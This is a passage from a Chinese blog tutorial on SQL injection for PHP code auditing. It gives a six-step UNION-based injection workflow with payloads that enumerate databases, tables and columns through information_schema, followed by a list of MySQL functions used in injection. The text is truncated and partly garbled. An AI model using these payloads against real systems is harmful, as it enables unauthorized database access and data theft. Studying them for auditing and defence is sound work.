php代码审计之sql注入

本文探讨了SQL注入的常见类型,包括基础函数注入、时间盲注和二次注入。重点阐述了二次注入的原理,即数据未经充分验证直接从数据库取出,导致安全风险。还介绍了宽字节注入的GBK与ASCII编码冲突问题,以及ORDER BY注入的利用方式,如报错注入和RAND()函数。最后提到了SQL注入的绕过策略。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

SQL注入常见步骤:

1.确定注入
2.确定字段数        1' GROUP/ORDER BY 1,2,3#
3.检索数据库        UNION SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata;
4.检索数据表        UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_ schema ='user';
5.检索字段          UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name ='tablename';
6.读取数据          UNION SELECT GROUP_CONCAT(column_name) FROM schema_name.table_name;

基础函数

user() :当前使用者的用户名
database():当前数据库名
version():数据库版本
datadir:读取数据库的绝对路径
@@vasedir: mysq|安 装路径
@@version_ compile_ os:操作系统
concat():连接-个或者多个字符串
group_concat():连接-个组的所有字符串,并以逗号分隔每一条数据
length():返回字符串的长度
substr():截取字符串
mid():截取字符串
ascii():返回字符的ascii码
sleep():函数延迟代码执行若干秒
~是一个一元运算符,将x按位取补
!取反
hex()
unhex()
CONV(N,from_ base,to_ base)
SELECT CONV(5,16,2); //
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值